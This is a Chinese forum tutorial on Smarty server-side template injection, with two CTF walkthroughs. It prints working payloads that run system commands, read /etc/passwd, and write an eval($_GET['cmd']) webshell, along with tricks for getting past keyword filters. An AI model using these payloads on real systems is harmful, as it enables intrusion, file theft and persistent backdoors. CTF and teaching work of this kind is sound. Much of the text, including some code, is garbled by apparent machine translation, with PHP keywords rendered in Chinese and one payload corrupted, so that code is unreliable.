本帖最后由 zhaorong 于 2021-7-20 16:14 编辑
细说Smarty之SSTI
Smarty 是 PHP 的一个模板引擎 主要功能就是逻辑与显示的分离 也就是 PHP 和 HTML 的分离。
这里就简单说明Smarty模板 然后详细讲一下Smarty的SSTI漏洞。
模板简介
所有的智能模板标签都被加上了定界符。默认情况下是{和} 但它们是可以被改变的 可以进行自定义设置。
漏成因
smarty的SSTI漏洞大体上都一样 这里简单句一下例子。
这是一个有漏洞的Smarty文件
- <?php
- require_once('./smarty/libs/' .'Smarty.class.php');
- $smarty = new Smarty();
- $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
- $smarty->display("string:".$ip);
- }
复制代码
此处ip是XFF获取的下面一行中可以看到这里用字符串代替smarty模板导致了注入
的Smarty标签被直接解析 精彩了SSTI。
利用
判断模板
判断是否为聪明的方法有很多 比较确定就如下面的图所示。图是网上看到的 这里借来用。
版本号
我们可以通过{$smarty.version}来查看漏洞的版本号
这里晚会说版本号是因为聪明 以后会删除之前的内容这里涉及到下面要讲的标签和函数。
{php}标签
Smartysupport使用{php}{/php}标签来执行被包裹其中的php指令
使用
- {php}phpinfo();{/php} #执行相应的php代码
复制代码
注:在Smarty3.1,{php}仅在SmartyBC中可用。
{文字}标签
{literal}可以让一个模板区域的文字原样输出。
这常常用于保护页面上的Javascript或css样式表 因为Smarty
的定界符而没有被解析。
使用
- <script language="php">phpinfo();</script> #执行相应的php代码
复制代码
注:{literal}标签有版本限制 在php5的环境下可以执行 但是php7环境下就不能执行了。
{if} 标签
在Smarty中的if和php中其他没什么大的区别 我们可以在Smarty中
通过{if}标签来实现命令执行。
使用
{if phpinfo()}{/if} #执行相应的php代码
getStreamVariable
该方法的使用是因为getStreamVari()这个方法可以获取这个可以调用的对象的流 这里简单的说方法是
读取读取的文件返回然后我们可以通过自己获取内容并调用来方法来实现读写文件。
使用
- {self::getStreamVariable("file:///etc/passwd")}
复制代码
Smarty类的getStreamVariable方法的代码如下:
- 公共函数 getStreamVariable($variable)
- {
- $_result = '';
- $fp = fopen($variable, 'r+');
- if ($fp) {
- while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
- $_result .= $current_line;
- }
- fclose($fp);
- 返回 $_result;
- }
- $ smarty的= isset($这个- > smarty的)?$this->smarty : $this;
- if ($smarty->error_unassigned) {
- throw new SmartyException('Undefined stream variable "' . $variable .'"');
- } else {
- 返回空值;
- }
- }
复制代码
注:在 3.1.30 的 Smarty 版本中官方已经要求合法删除。
写文件
原理和getStreamVariable差不多
这里就直接丢他的使用方法
- {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval
- ($_GET['cmd']); ?>",self::clearConfig())}
复制代码
注:在 3.1.30 的 Smarty 版本也该法删除了。
题目实践
聪明的php
来源:bugku web 聪明的php
一进题目 就显示出一句话
传递
一个参数 可能标志文件的文件名是随机的:> 英文是:传递一个参数
可能标志文件的文件名是随机的:>
亮度参数
首先可以看到一个源码 可以得到收获的值在最次出现的地方。
源码:
- <?php
- include('./libs/Smarty.class.php');
- echo "传递一个参数,可能标志文件的文件名是随机的 :>";
- $smarty = new Smarty();
- if($_GET){
- highlight_file('index.php');
- foreach ($_GET AS $key => $value)
- {
- 打印 $key."\n";
- if(preg_match("/flag|\/flag/i", $value)){
- $smarty->display('./template.html'); }elseif(preg_match("/system|readfile|g
- z|exec|eval|cat|assert|file|fgets/i", $value)){
- $smarty->display('./template.html');
- }else{
- $smarty->display("eval:".$value);
复制代码
在源码中可以看懂使用Smarty模板 然后过滤了flag和一些关键函数。
假设这个题目就是聪明的模板注入题
这里的突破口就在$smarty->display("eval:".$value);
首先先测试一些 棕榈参数为?a={6*6},输出了36个这里的存在命令执行漏洞。
知道漏洞已经说了 直接利用就可以了。这里了过滤系统 我们可以用passthru show_source来代替 过滤了猫
可以少用 多来代替。总之这里绕过过滤的很多方式 随便选一种就可以 不是重点。
有效载荷
首先先
?a={passthru('ls')}
看到了回显,显示了当前的文件信息
a cache configs index.php libs template.html templates_c
查找标志(因为有点难找 就直接用通配找符了)
?a={passthru('少/?*')}
CISCN2019华东南赛区Web11
来源: Web11]CISCN2019华东南赛区Web11
进来在最这个可以看到智能 可以找到用智能引擎写的。
题目也没有隐藏的信息 这里就只有一个读取IP和XFF的api。IP不知道是啥那XFF还不简单
吗直接抓包并添加一个xff头给他。
可以看到他会显示当前IP地址 我们对这个IP地址进行搞事情,
可以看到IP地址为6*6=36 那想要就是SSTI了啊。
先查看他的版本情况
- 6.6.6.{$smarty.version}
- 返回值:6.6.6.3.1.30
- 可以找到是3.1.3版本
复制代码
知道版本号了 我们可以知道一些标签就用不了了 那我们也就是剩下标签可以使用了。
先用phpinfo测试一下
这里没什么问题
有效载荷
- 6.6.6.{if system('ls /')}{/if}
- 回显:6.6.6.bin dev etc flag home lib media mnt opt proc root run sbin srv sys usr var
- 可以看到flag直接读取他
- 6.6.6.{if system('nl /flag')}{/if}
- 然后查看源码就得到flag
复制代码 |